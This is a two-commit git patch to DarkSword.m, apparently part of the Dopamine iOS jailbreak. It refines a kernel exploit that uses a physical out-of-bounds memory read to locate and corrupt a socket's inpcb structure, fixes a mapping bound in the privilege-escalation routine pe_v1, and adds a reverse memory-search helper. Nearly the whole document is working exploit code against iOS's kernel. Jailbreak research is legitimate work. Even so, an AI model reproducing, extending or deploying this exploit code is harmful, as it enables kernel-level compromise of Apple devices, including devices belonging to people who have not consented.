From b5267a85d23fff51af5ff16daaa692b88d57ac95 Mon Sep 17 00:00:00 2001 From: TheRealClarity <68876810+TheRealClarity@users.noreply.github.com> Date: Thu, 26 Mar 2026 19:07:40 +0000 Subject: [PATCH 1/2] Fix some edge cases when finding pcb struct; fix mach_vm_map failed error on free_thread --- .../Dopamine/Exploits/DarkSword/DarkSword.m | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/Application/Dopamine/Exploits/DarkSword/DarkSword.m b/Application/Dopamine/Exploits/DarkSword/DarkSword.m index 62466d90f5..41ae835acb 100644 --- a/Application/Dopamine/Exploits/DarkSword/DarkSword.m +++ b/Application/Dopamine/Exploits/DarkSword/DarkSword.m @@ -636,14 +636,23 @@ int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOf int searchStartIdx = 0; bool targetFound = false; uint64_t pcbStartOffset = 0; - void *found = NULL; + uint64_t corrupted_filter_marker = 0x0000ffffffffffff; + void* found = NULL; do { found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName)); if (found) { - pcbStartOffset = (uint64_t)found - (uint64_t)readBuffer & 0xFFFFFFFFFFFFFC00; - if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + koffsetof(inpcb, icmp6filt) + 8)) { - targetFound = true; - break; + // original implementation would apply a mask to the oracle ptr to get pcbStartOffset + // but that approach doesn't work on older iOS versions, so we search for the corrupted filter + // and calculate pcbStartOffset from there, which works on all versions + uint64_t found_offset = (uint8_t*)found - (uint8_t*)readBuffer; + void* filter_found = memmem(readBuffer + found_offset, OOB_SIZE - found_offset, &corrupted_filter_marker, sizeof(corrupted_filter_marker)); + if (filter_found != NULL) { + uint64_t filter_offset = (uint8_t*)filter_found - (uint8_t*)readBuffer; + if (filter_offset >= koffsetof(inpcb, icmp6filt) + 0x8) { + pcbStartOffset = filter_offset - (koffsetof(inpcb, icmp6filt) + 0x8); + targetFound = true; + break; + } } } searchStartIdx += 0x400; @@ -794,7 +803,8 @@ void pe_v1(void) } surface_mlock(searchMappingAddress, searchMappingSize); mach_vm_offset_t seekingOffset = 0; - while (seekingOffset < searchMappingSize) { + // fix mach_vm_map err on free thread, we'd try to map outside mo + while (seekingOffset <= searchMappingSize - pcSize) { kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); if (kr == KERN_SUCCESS) { if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) { From 5fa7c0d5ffd6c7e7f2147532cda6875205147bb5 Mon Sep 17 00:00:00 2001 From: TheRealClarity <68876810+TheRealClarity@users.noreply.github.com> Date: Thu, 26 Mar 2026 20:56:14 +0000 Subject: [PATCH 2/2] search for corrupted filter backwards instead --- .../Dopamine/Exploits/DarkSword/DarkSword.m | 21 ++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/Application/Dopamine/Exploits/DarkSword/DarkSword.m b/Application/Dopamine/Exploits/DarkSword/DarkSword.m index 41ae835acb..50b3764f74 100644 --- a/Application/Dopamine/Exploits/DarkSword/DarkSword.m +++ b/Application/Dopamine/Exploits/DarkSword/DarkSword.m @@ -109,6 +109,25 @@ uint64_t unpac_ptr(uint64_t kptr) return __xpaci(kptr); } +static void* reverse_memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) { + if (needle_len == 0) + return (void *)haystack; // Match at start if needle is empty + + if (haystack_len < needle_len) + return NULL; + + const char *h = (const char *)haystack; + const char *n = (const char *)needle; + + for (size_t i = haystack_len - needle_len + 1; i-- > 0; ) { + if (memcmp(h + i, n, needle_len) == 0) { + return (void *)(h + i); + } + } + + return NULL; +} + pthread_t freeThread; void init_globals(void) @@ -645,7 +664,7 @@ int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOf // but that approach doesn't work on older iOS versions, so we search for the corrupted filter // and calculate pcbStartOffset from there, which works on all versions uint64_t found_offset = (uint8_t*)found - (uint8_t*)readBuffer; - void* filter_found = memmem(readBuffer + found_offset, OOB_SIZE - found_offset, &corrupted_filter_marker, sizeof(corrupted_filter_marker)); + void* filter_found = reverse_memmem(found, found_offset, &corrupted_filter_marker, sizeof(corrupted_filter_marker)); if (filter_found != NULL) { uint64_t filter_offset = (uint8_t*)filter_found - (uint8_t*)readBuffer; if (filter_offset >= koffsetof(inpcb, icmp6filt) + 0x8) {